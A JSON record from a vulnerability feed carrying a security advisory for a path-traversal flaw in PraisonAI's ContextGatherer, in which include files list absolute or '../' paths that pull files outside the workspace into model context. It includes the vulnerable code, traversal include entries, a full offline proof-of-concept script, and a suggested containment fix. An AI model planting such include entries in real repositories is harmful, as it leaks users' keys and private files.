{"success":true,"data":{"threats":[{"id":"04a014e5-d3ac-44cc-8528-c92815abffe5","slug":"cve-2026-61431","externalId":"GHSA-q7m5-3jmv-vm48","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace","description":"# ContextGatherer include resolution permits absolute and traversal reads outside the workspace\n\n## Summary\n\nPraisonAI's `praisonai.ui.context.ContextGatherer` treats the configured `directory` as the project workspace, but project-controlled `.praisoncontext` and `.praisoninclude` files can name absolute paths or `..` traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model as project context.\n\n## Technical Details\n\n`ContextGatherer.get_include_paths()` reads include entries directly from `.praisoncontext` and `.praisoninclude` under the configured workspace. It stores each non-comment line as a raw include path:\n\n```python\ninclude_file = os.path.join(self.directory, '.praisoncontext')\nif os.path.exists(include_file):\n    with open(include_file, 'r') as f:\n        include_paths.extend(\n            line.strip() for line in f\n            if line.strip() and not line.startswith('#')\n        )\n```\n\nWhen `.praisoncontext` is present, `gather_context()` passes every include entry through `os.path.join(self.directory, include_path)` and then processes the result:\n\n```python\nfor include_path in self.include_paths:\n    full_path = os.path.join(self.directory, include_path)\n    process_path(full_path)\n```\n\nThe `.praisoninclude` path has the same unsafe join after first processing the workspace:\n\n```python\nprocess_path(self.directory)\nfor include_path in self.include_paths:\n    full_path = os.path.join(self.directory, include_path)\n    process_path(full_path)\n```\n\nThere is no canonicalization or containment check before `process_path()` opens files or recursively walks directories. In Python, `os.path.join(workspace, absolute_path)` returns the absolute path and discards `workspace`; `os.path.join(workspace, \"../outside.py\")` remains outside the workspace once normalized by filesystem operations. `add_file_content()` then opens the supplied path and appends file contents to the context before display bookkeeping:\n\n```python\nwith open(file_path, 'r', encoding='utf-8') as f:\n    content = f.read()\n    context.append(\n        f\"File: {file_path}\\n\\n{content}\\n\\n{'=' * 50}\\n\"\n    )\n    self.included_files.append(\n        Path(file_path).relative_to(self.directory)\n    )\n```\n\nFor parent traversal paths, `Path(file_path).relative_to(self.directory)` raises after the outside file content has already been appended, so the caller receives the outside content even if an error is logged. For absolute paths, the outside content is appended as well. This violates the workspace invariant for a context-gathering feature: repository-local include metadata should select files within the project, not arbitrary process-readable host files.\n\n## PoV\n\nThe minimal vulnerable shape is a workspace containing only a normal source file and one include file:\n\n```text\nworkspace/\n  .praisoncontext      # contains: ../outside_secret.py\n  inside.py\noutside_secret.py      # outside the workspace\n```\n\nRunning `ContextGatherer(directory=\"workspace\").run()` returns context containing `outside_secret.py` even though that file is outside the configured workspace. The same result occurs when `.praisoncontext` contains an absolute path to the outside file, and when `.praisoninclude` contains either the parent traversal path or the absolute path.\n\n## PoC\n\nSave the self-contained script from the Appendix below as `context_include_workspace_pov.py`, then run it against a local checkout:\n\n```bash\nexport PRAISONAI=/path/to/PraisonAI\nPYTHONPATH=\"$PRAISONAI/src/praisonai\" python context_include_workspace_pov.py\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"expectations\": {\n    \"control_inside_file_is_collected\": true,\n    \"control_without_include_does_not_read_outside\": true,\n    \"praisoncontext_absolute_path_discloses_outside\": true,\n    \"praisoncontext_parent_traversal_discloses_outside\": true,\n    \"praisoninclude_absolute_path_discloses_outside\": true,\n    \"praisoninclude_parent_traversal_discloses_outside\": true\n  },\n  \"source_commit\": \"1620b49f36945d8cc8ee5635b906c960df5097a0\",\n  \"source_file\": \"$PRAISONAI/src/praisonai/praisonai/ui/context.py\",\n  \"vulnerable\": true\n}\n```\n\nThe version sweep sampled old and current releases. All sampled versions are vulnerable:\n\n```text\n{\"ref\":\"v2.3.10\",\"praisonai_version\":\"2.3.10\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v2.3.11\",\"praisonai_version\":\"2.3.11\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v3.8.1\",\"praisonai_version\":\"3.8.1\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v3.9.26\",\"praisonai_version\":\"3.9.26\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.4.12\",\"praisonai_version\":\"4.4.12\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.5.16\",\"praisonai_version\":\"4.5.16\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.5.128\",\"praisonai_version\":\"4.5.128\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.6.58\",\"praisonai_version\":\"4.6.58\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.6.62\",\"praisonai_version\":\"4.6.62\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.6.63\",\"praisonai_version\":\"4.6.63\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"HEAD\",\"praisonai_version\":\"4.6.63\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n```\n\nNo external service, live target, real credential, model provider, or network access is needed for reproduction.\n\n## Impact\n\nIf a user or service runs PraisonAI context gathering on an attacker-influenced workspace, the attacker can cause local files outside the project root to be included in the generated context. Practical impacts include disclosure of source files from adjacent projects, local configuration, prompt transcripts, logs, API keys, and other process-readable text files with extensions that `ContextGatherer` considers relevant. If the context bundle is sent to an external model or exposed to a lower-trust caller, the file contents leave the intended workspace boundary.\n\nThis report claims confidentiality impact only. It does not claim arbitrary write, command execution, or availability impact.\n\nSuggested severity: Medium under the direct local/workspace threat model because user interaction is required to run context gathering on an attacker-influenced workspace. Deployments that automatically gather context for untrusted repositories and forward it to a third-party model may score higher.\n\nSuggested CVSS 3.1 vector:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nMake include-file path resolution fail closed around a single workspace-containment helper:\n\n1. Resolve the configured workspace root once with `Path(self.directory).resolve()`.\n2. For each include entry, reject absolute paths outside the workspace.\n3. Join relative include entries to the workspace, resolve the result, and require `resolved.relative_to(workspace_root)` to succeed before opening or walking anything.\n4. Apply the helper to both `.praisoncontext` and `.praisoninclude` processing.\n5. Reject escaped directories as well as escaped files; `process_path()` can recursively walk directories.\n6. Avoid appending file content before display/bookkeeping operations that can fail.\n7. Add regression tests for `../outside.py`, absolute outside paths, and outside directories in both `.praisoncontext` and `.praisoninclude`.\n\nMinimal containment shape:\n\n```python\ndef _resolve_workspace_include(workspace: str, include_path: str) -> Path:\n    root = Path(workspace).resolve()\n    candidate = Path(include_path)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"Context include path is outside workspace: {include_path}\") from exc\n    return resolved\n```\n\n## Affected Package/Versions\n\n- Package: `PraisonAI` / `praisonai`\n- Component: `praisonai.ui.context.ContextGatherer`\n- Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n- Current package version in the tested source tree: `4.6.63`\n- Latest tested release tag: `v4.6.63`\n- Oldest sampled vulnerable release tag: `v2.3.10`\n\nSuggested affected range, based on the sampled source sweep:\n\n```text\npraisonai >= 2.3.10, <= 4.6.63\n```\n\nThe exact first affected released package version should be confirmed from release history; the sampled range shows the bug is longstanding and still present on current main.\n\n## Advisory History\n\nNo checked public advisory or local prior report matched `praisonai.ui.context.ContextGatherer` reading outside-workspace files because project-controlled `.praisoncontext` or `.praisoninclude` entries contain absolute paths or `..` traversal paths.\n\nClosest public comparators are related but distinct:\n\n- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report has an explicitly configured workspace directory and an attacker-controlled include file inside that workspace; it does not use Code tools or an unset global workspace.\n- `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers `praisonai.ui.context.ContextGatherer` include-file processing.\n- `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers `.praisoncontext`/`.praisoninclude` entries in the classic UI context gatherer.\n- `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read. This report does not use skill tools or approval-gated skill file APIs.\n- `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152` and `GHSA-693f-pf34-72c5`: FileTools/listing path traversal surfaces. This report is not in `praisonaiagents.tools.file_tools` or legacy FileTools; it discloses file content through context-gathering output.\n- `GHSA-fwh2-95jw-g4j6`: PraisonAI MultiAgentMonitor path traversal, published on 2026-06-19, affects versions before `1.5.115`. This report affects current main and `4.6.63` and is triggered by `.praisoncontext`/`.praisoninclude` include paths rather than MultiAgentMonitor path parameters.\n- `GHSA-qwwv-hc99-6f5p`, `GHSA-5fr5-2c3f-3fcr`, `GHSA-gx4r-3wg8-9w5x`, and `GHSA-x44p-gg67-52fc`: current public PraisonAI advisories for MultiAgentLedger duplicate IDs, AGUI CORS/authorization, UI approval-mode command execution, and approval cache keying. None covers `ContextGatherer`, `.praisoncontext`, `.praisoninclude`, or `praisonai.ui.context`.\n\nPublic search found no hits for `PraisonAI ContextGatherer .praisoncontext workspace boundary arbitrary file read`, `praisoninclude ContextGatherer`, or `praisonai.ui.context` in public GitHub advisory text.\n\n## References\n\n- PraisonAI repository: https://github.com/MervinPraison/PraisonAI\n- PraisonAI security advisories: https://github.com/MervinPraison/PraisonAI/security/advisories\n- GitHub Advisory Database search for PraisonAI: https://github.com/advisories?query=PraisonAI\n- `GHSA-gcq3-mfvh-3x25`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25\n- `GHSA-j7qx-p75m-wp7g`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g\n- `GHSA-22cj-m4wf-fv2c`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c\n- `GHSA-grrg-5cg9-58pf`: https://github.com/advisories/GHSA-grrg-5cg9-58pf\n- `GHSA-7j2f-xc8p-fjmq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq\n- `GHSA-fwh2-95jw-g4j6`: https://github.com/advisories/GHSA-fwh2-95jw-g4j6\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html\n\n## Appendix: Self-Contained Context Include Workspace PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"Offline PoV for PraisonAI ContextGatherer include-file workspace escape.\"\"\"\n\nfrom __future__ import annotations\n\nimport contextlib\nimport io\nimport inspect\nimport json\nimport logging\nimport subprocess\nimport tempfile\nfrom pathlib import Path\n\nfrom praisonai.ui.context import ContextGatherer\n\n\nCANARY = \"PRAISON_CONTEXT_CANARY=outside-workspace\"\nlogging.getLogger(\"praisonai.ui.context\").disabled = True\n\n\ndef imported_source_file() -> Path:\n    return Path(inspect.getfile(ContextGatherer)).resolve()\n\n\ndef git_head(source_file: Path) -> str:\n    try:\n        repo_root = next(parent for parent in source_file.parents if (parent / \".git\").exists())\n        return subprocess.check_output(\n            [\"git\", \"-C\", str(repo_root), \"rev-parse\", \"HEAD\"],\n            text=True,\n            stderr=subprocess.DEVNULL,\n        ).strip()\n    except Exception:\n        return \"unknown\"\n\n\ndef gather_context(workspace: Path) -> tuple[str, str]:\n    stdout = io.StringIO()\n    stderr = io.StringIO()\n    with contextlib.redirect_stdout(stdout), contextlib.redirect_stderr(stderr):\n        context, _tokens, _tree = ContextGatherer(\n            directory=str(workspace),\n            max_file_size=100_000,\n            max_tokens=100_000,\n        ).run()\n    return context, stdout.getvalue() + stderr.getvalue()\n\n\ndef reset_include_files(workspace: Path) -> None:\n    for name in (\".praisoncontext\", \".praisoninclude\"):\n        path = workspace / name\n        if path.exists():\n            path.unlink()\n\n\ndef redact(value, temp_root: Path, source_file: Path):\n    if isinstance(value, str):\n        source_root = next((parent for parent in source_file.parents if (parent / \".git\").exists()), source_file.parents[4])\n        return value.replace(str(temp_root), \"$TMPDIR\").replace(str(source_root), \"$PRAISONAI\")\n    if isinstance(value, list):\n        return [redact(item, temp_root, source_file) for item in value]\n    if isinstance(value, dict):\n        return {key: redact(item, temp_root, source_file) for key, item in value.items()}\n    return value\n\n\ndef main() -> None:\n    source_file = imported_source_file()\n    with tempfile.TemporaryDirectory(prefix=\"praison-context-include-pov-\") as tmp:\n        temp_root = Path(tmp)\n        workspace = temp_root / \"workspace\"\n        workspace.mkdir()\n        inside = workspace / \"inside.py\"\n        outside = temp_root / \"outside_secret.py\"\n        inside.write_text(\"INSIDE_ONLY = True\\n\", encoding=\"utf-8\")\n        outside.write_text(f\"{CANARY}\\n\", encoding=\"utf-8\")\n\n        contexts = {}\n        logs = {}\n\n        reset_include_files(workspace)\n        contexts[\"control_no_include\"], logs[\"control_no_include\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoncontext\").write_text(\"../outside_secret.py\\n\", encoding=\"utf-8\")\n        contexts[\"praisoncontext_parent_traversal\"], logs[\"praisoncontext_parent_traversal\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoncontext\").write_text(str(outside) + \"\\n\", encoding=\"utf-8\")\n        contexts[\"praisoncontext_absolute_path\"], logs[\"praisoncontext_absolute_path\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoninclude\").write_text(\"../outside_secret.py\\n\", encoding=\"utf-8\")\n        contexts[\"praisoninclude_parent_traversal\"], logs[\"praisoninclude_parent_traversal\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoninclude\").write_text(str(outside) + \"\\n\", encoding=\"utf-8\")\n        contexts[\"praisoninclude_absolute_path\"], logs[\"praisoninclude_absolute_path\"] = gather_context(workspace)\n\n        expectations = {\n            \"control_without_include_does_not_read_outside\": CANARY not in contexts[\"control_no_include\"],\n            \"control_inside_file_is_collected\": \"INSIDE_ONLY = True\" in contexts[\"control_no_include\"],\n            \"praisoncontext_parent_traversal_discloses_outside\": CANARY in contexts[\"praisoncontext_parent_traversal\"],\n            \"praisoncontext_absolute_path_discloses_outside\": CANARY in contexts[\"praisoncontext_absolute_path\"],\n            \"praisoninclude_parent_traversal_discloses_outside\": CANARY in contexts[\"praisoninclude_parent_traversal\"],\n            \"praisoninclude_absolute_path_discloses_outside\": CANARY in contexts[\"praisoninclude_absolute_path\"],\n        }\n\n        output = {\n            \"source_commit\": git_head(source_file),\n            \"source_file\": str(source_file),\n            \"workspace_root\": str(workspace),\n            \"outside_file\": str(outside),\n            \"vulnerable\": all(expectations.values()),\n            \"expectations\": expectations,\n            \"context_contains\": {\n                name: {\n                    \"contains_inside\": \"INSIDE_ONLY = True\" in context,\n                    \"contains_outside_canary\": CANARY in context,\n                }\n                for name, context in contexts.items()\n            },\n            \"captured_logs\": logs,\n        }\n\n        print(json.dumps(redact(output, temp_root, source_file), indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```","cveId":"CVE-2026-61431","cvssScore":null,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","severity":"medium","vendor":"PyPI","product":"praisonai","affectedVersions":["pkg:pypi/praisonai < 4.6.78"],"cwes":["CWE-200","CWE-22"],"tags":["osv","osv:ghsa-q7m5-3jmv-vm48","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-q7m5-3jmv-vm48","type":"advisory","title":"OSV GHSA-q7m5-3jmv-vm48"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-q7m5-3jmv-vm48","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61431","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0","type":"other","title":"OSV web"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-contextgatherer","type":"other","title":"OSV web"}],"epssScore":0.00352,"epssPercentile":0.26825,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:58:30.000Z","addedAt":"2026-10-08T18:42:41.799Z","updatedAt":"2026-10-08T18:42:41.799Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61431","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-61431","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-q7m5-3jmv-vm48"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-q7m5-3jmv-vm48"}]}],"pagination":{"page":1,"limit":20,"total":1,"totalPages":1,"hasNext":false,"hasPrev":false}},"meta":{"apiVersion":"v1","requestedAt":"2026-10-08T23:54:55.830Z","durationMs":16,"filters":{"search":null,"severity":[],"type":[],"country":[],"tag":["osv:ghsa-q7m5-3jmv-vm48"],"cwe":[],"vendor":null,"product":null,"cve":null,"source":[],"days":null,"publishedAfter":null,"publishedBefore":null,"minCvss":null,"maxCvss":null,"minEpss":null,"knownExploited":null,"hasPatch":null,"hasNucleiTemplate":null},"sort":"newest","unknownParams":[],"warnings":[]}}